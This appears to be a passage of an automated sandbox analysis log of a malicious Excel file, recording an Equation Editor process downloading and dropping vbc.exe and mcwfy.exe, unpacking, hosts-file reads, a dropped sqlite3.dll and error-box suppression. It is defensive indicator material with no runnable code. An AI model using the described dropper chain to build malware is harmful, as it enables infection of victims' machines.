          Source: C:\Users\Public\vbc.exeCode function: 5_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR7BF2.tmpJump to behavior
          Source: C:\Users\Public\vbc.exeCode function: 5_2_004021AA CoCreateInstance,
          Source: C:\Users\Public\vbc.exeCode function: 5_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeFile read: C:\Windows\System32\drivers\etc\hosts
          Source: C:\Windows\SysWOW64\wscript.exeFile read: C:\Windows\System32\drivers\etc\hosts
          Source: C:\Windows\SysWOW64\wscript.exeFile opened: C:\Windows\SysWOW64\RichEd32.dll
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll
          Source: d0#U10dc.xlsStatic file information: File size 1150464 > 1048576
          Source: Binary string: wntdll.pdb source: mcwfy.exe, mcwfy.exe, 00000008.00000003.994250234.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1056057741.0000000000AB0000.00000040.00001000.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000003.980520259.0000000000640000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1056057741.0000000000930000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184542105.0000000002400000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184542105.0000000002280000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1055259646.0000000001F90000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1056803818.00000000020F0000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: wscript.pdb source: mcwfy.exe, 00000008.00000002.1055471860.0000000000564000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1055885124.0000000000860000.00000040.10000000.00040000.00000000.sdmp
          Source: Binary string: c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\browser\app\firefox.pdb source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: wscript.pdbN source: mcwfy.exe, 00000008.00000002.1055471860.0000000000564000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1055885124.0000000000860000.00000040.10000000.00040000.00000000.sdmp
          Source: ~DF2613BCA6826298A5.TMP.0.drInitial sample: OLE indicators vbamacros = False

          Data Obfuscation

          barindex
          Detected unpacking (changes PE section rights)
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeUnpacked PE file: 8.2.mcwfy.exe.400000.0.unpack .text:ER;.rdata:R;.data:W; vs .text:ER;
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 6_2_00410A64 push ecx; ret
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0040A846 push cs; retf
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00411320 push ds; retf
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0040DC2C pushfd ; iretd
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0040B4FA push ecx; ret
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0040AD0D push 255F11F9h; retf
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_0041B674 pushad ; retf
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeCode function: 8_2_00401E20 push eax; ret
          Source: sqlite3.dll.16.drStatic PE information: section name: /4
          Source: sqlite3.dll.16.drStatic PE information: section name: /19
          Source: sqlite3.dll.16.drStatic PE information: section name: /31
          Source: sqlite3.dll.16.drStatic PE information: section name: /45
          Source: sqlite3.dll.16.drStatic PE information: section name: /57
          Source: sqlite3.dll.16.drStatic PE information: section name: /70
          Source: sqlite3.dll.16.drStatic PE information: section name: /81
          Source: sqlite3.dll.16.drStatic PE information: section name: /92
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exeJump to dropped file
          Source: C:\Windows\SysWOW64\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\sqlite3.dllJump to dropped file
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\Public\vbc.exeJump to dropped file
          Source: C:\Users\Public\vbc.exeFile created: C:\Users\user\AppData\Local\Temp\mcwfy.exeJump to dropped file
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\Public\vbc.exeJump to dropped file
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B0646 URLDownloadToFileW,ShellExecuteExW,ExitProcess,
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\README (2).txtJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\README (3).txtJump to behavior

          Boot Survival

          barindex
          Drops PE files to the user root directory
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEFile created: C:\Users\Public\vbc.exeJump to dropped file
          Source: d0#U10dc.xlsStream path 'MBD00A59CF1/CONTENTS' entropy: 7.91892112048 (max. 8.0)
          Source: d0#U10dc.xlsStream path 'MBD00A59CF2/CONTENTS' entropy: 7.94924924846 (max. 8.0)
          Source: d0#U10dc.xlsStream path 'MBD00A59CF3/CONTENTS' entropy: 7.97730217525 (max. 8.0)
          Source: d0#U10dc.xlsStream path 'MBD00A59CF5/CONTENTS' entropy: 7.97730217525 (max. 8.0)
          Source: d0#U10dc.xlsStream path 'MBD00A59CF7/CONTENTS' entropy: 7.97730217525 (max. 8.0)
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\vbc.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\vbc.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\vbc.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\vbc.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\vbc.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\AppData\Local\Temp\mcwfy.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
